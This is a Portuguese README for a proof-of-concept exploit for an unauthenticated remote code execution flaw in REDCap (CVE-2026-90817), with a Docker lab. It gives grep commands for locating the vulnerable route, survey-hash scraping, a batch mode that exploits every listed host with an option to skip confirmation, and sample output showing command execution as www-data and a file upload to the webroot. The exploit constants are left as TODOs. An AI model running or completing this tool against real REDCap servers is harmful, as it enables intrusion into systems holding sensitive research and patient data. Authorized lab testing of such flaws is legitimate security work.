
PoC em Python para CVE-2026-90817, um RCE não autenticado no REDCap via roteamento de passthrough de pesquisa e injeção de caminho de arquivo, com um laboratório Docker e alvos protegidos por allowlist.
| Campo | Valor |
|---|
| CVE | CVE-2026-90817 |
| Produto | Vanderbilt University REDCap |
| CVSS | 9.8 Crítico |
| Autenticação | Não autenticado (requer hash de pesquisa pública válido) |
| Afetado | REDCap 13.3.0 e superior |
| Corrigido | 16.0.49 LTS, 17.3.10 LTS, 17.4.4 Standard Release |
| CWE | CWE-73 (Controle Externo de Nome de Arquivo ou Caminho), CWE-94 (Injeção de Código) |
Cadeia de ataque:
CVE-2026-90817/
├── poc_cve_2026_90817.py # PoC (alvo único, protegido por allowlist)
├── docker-compose.yml # Stack de laboratório MySQL + PHP-Apache
├── redcap-init/
│ ├── database.php # Configuração do BD REDCap para o laboratório
│ └── php.ini # Configurações PHP para o laboratório
├── redcap-src/ # <-- extraia o código-fonte do REDCap aqui (você fornece)
├── targets.txt # Alvos autorizados: um host por linha
├── payload.txt # Arquivo de exemplo para o modo de upload
├── requirements.txt # Dependências Python
└── poc_results.txt # Gerado após a execução do PoC
REDCap é software licenciado. Você deve obtê-lo através de canais oficiais para o seu próprio laboratório.
mkdir -p redcap-src
# Extract your redcap.zip contents into redcap-src/
# The directory should contain index.php, redcap_vX.X.X/, etc.
docker compose up -d
Aguarde o healthcheck do MySQL passar, depois abra:
http://localhost:8080
Complete o assistente de instalação do REDCap usando estas configurações de banco de dados (pré-configuradas em redcap-init/database.php):
| Configuração | Valor |
|---|---|
| Host | db |
| Database | redcap |
| User | redcap |
| Password | redcap123 |
s=).Exemplo de URL de pesquisa:
http://localhost:8080/surveys/?s=ABC123XYZ
Hash da pesquisa: ABC123XYZ
O aviso público não divulga a rota exata do controller ou o nome do parâmetro. Após configurar seu laboratório, realize RE em redcap-src/ e preencha as constantes TODO em poc_cve_2026_90817.py:
VULNERABLE_ROUTE = "TODO_CONTROLLER_ROUTE" # controller route via survey passthrough
FILE_PATH_PARAM = "TODO_FILE_PATH_PARAM" # file-path/stream parameter name
WEBROOT_PATH = "/var/www/html/redcap/" # webroot inside container
UPLOADER_NAME = "x.php" # PHP uploader filename
Procure pelo roteamento de passthrough de pesquisa:
grep -rn "passthrough\|survey.*route\|Routes::" redcap-src/ --include="*.php" | head -50
grep -rn "Controller" redcap-src/ --include="*.php" | grep -i "import\|survey" | head -50
Procure pelo tratamento de caminho de arquivo/stream na Importação de Dados:
grep -rn "file_path\|file-path\|stream\|DataImport\|data_import" redcap-src/ --include="*.php" | head -50
grep -rn "fopen\|file_get_contents\|include\|require" redcap-src/ --include="*.php" | grep -i "import" | head -50
Defina STAGE1_SUCCESS_MARKER como uma string presente em uma resposta bem-sucedida do estágio 1 (opcional, mas recomendado).
pip install -r requirements.txt
O script recusa alvos que não sejam hosts de laboratório (localhost, 127.0.0.1, ::1, *.local, *.test, *.localhost) nem listados em targets.txt.
CVE-2026-90817 é não autenticado — nenhum login é necessário. A única pré-condição é um hash de pesquisa pública válido (da URL de pesquisa ?s=HASH).
A ferramenta pode descobrir automaticamente o hash da pesquisa ao fazer scraping de páginas públicas do alvo (melhor esforço). Ela verifica endpoints comuns do REDCap (/, /redcap/, /index.php, /surveys/) em busca de links /surveys/?s=HASH. Isso só funciona se o alvo expõe publicamente links de pesquisa (mal configurado). Para instâncias REDCap configuradas corretamente, forneça o hash manualmente via --hash.
--hash é opcional (descobre automaticamente se omitido)Para alvos que não são de laboratório, crie targets.txt com um host por linha (FQDN ou IP). Você é responsável pela autorização legal de cada host listado.
# targets.txt
redcap.client.example.com
10.0.0.5
192.168.1.100
Alvo de laboratório com hash explícito:
python poc_cve_2026_90817.py \
--target http://localhost:8080 \
--hash ABC123XYZ \
--mode both \
--out poc_results.txt
Alvo de laboratório com hash descoberto automaticamente:
python poc_cve_2026_90817.py \
--target http://localhost:8080 \
--mode both \
--out poc_results.txt
Adicione --batch para explorar automaticamente cada host listado em targets.txt. A ferramenta descobre automaticamente o hash da pesquisa por alvo ao fazer scraping de páginas públicas. A ferramenta imprime todos os alvos e pede confirmação antes de iniciar (use --yes para pular o prompt em scripts).
python poc_cve_2026_90817.py \
--batch \
--mode both \
--out poc_results.txt
A porta é herdada de --target (padrão 8080). Para usar uma porta diferente, defina --target http://placeholder:443/ antes de --batch.
O resultado de cada alvo é anexado ao arquivo de saída. Um resumo é impresso no final: N success, M failed, T total.
| Argumento | Padrão | Descrição |
|---|---|---|
--target | http://localhost:8080 | URL base do alvo |
--hash | (opcional) | Hash de pesquisa pública. Se omitido, descoberto automaticamente ao fazer scraping de páginas públicas (melhor esforço). |
--allowlist | targets.txt | Arquivo de alvos, um host por linha |
--batch | desligado | Iterar sobre todos os hosts no arquivo de alvos e explorar cada um |
--yes | desligado | Pular o prompt de confirmação do lote |
--mode | both | id, upload ou both |
--out | poc_results.txt | Arquivo de log de resultados |
--timeout | 30 | Timeout HTTP (segundos) |
--upload-local | payload.txt | Arquivo local a enviar |
--upload-remote | uploaded_payload.txt | Nome do arquivo remoto sob o webroot |
--skip-placeholder-check | desligado | Execução a seco do fluxo HTTP sem as constantes TODO preenchidas |
Nota: a descoberta automática só funciona em alvos que expõem publicamente links de pesquisa. Para a maioria das instâncias REDCap, forneça --hash manualmente.
Em caso de sucesso, o stdout mostra:
[0xNuts] CVE-2026-90817 PoC -- AUTHORIZED USE ONLY
[0xNuts] You are responsible for legal authorization of every target.
[0xNuts] Using survey hash: ABC123XYZ
[0xNuts] Stage 1: route manipulation -> ...
[0xNuts] Stage 2: file-path injection -> ...
[0xNuts] id output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[0xNuts] uploaded to /var/www/html/redcap/uploaded_payload.txt
[0xNuts] Result logged to poc_results.txt
Os resultados são anexados a poc_results.txt:
[2026-09-21T03:20:00Z]
target=http://localhost:8080/
survey_hash=ABC123XYZ
status=success
id_output=uid=33(www-data) gid=33(www-data) groups=33(www-data)
uploaded_files=/var/www/html/redcap/uploaded_payload.txt
notes=mode=both
------------------------------------------------------------
Atualize para REDCap 16.0.49 LTS, 17.3.10 LTS ou 17.4.4 Standard Release (conforme aplicável).
Endurecimento adicional: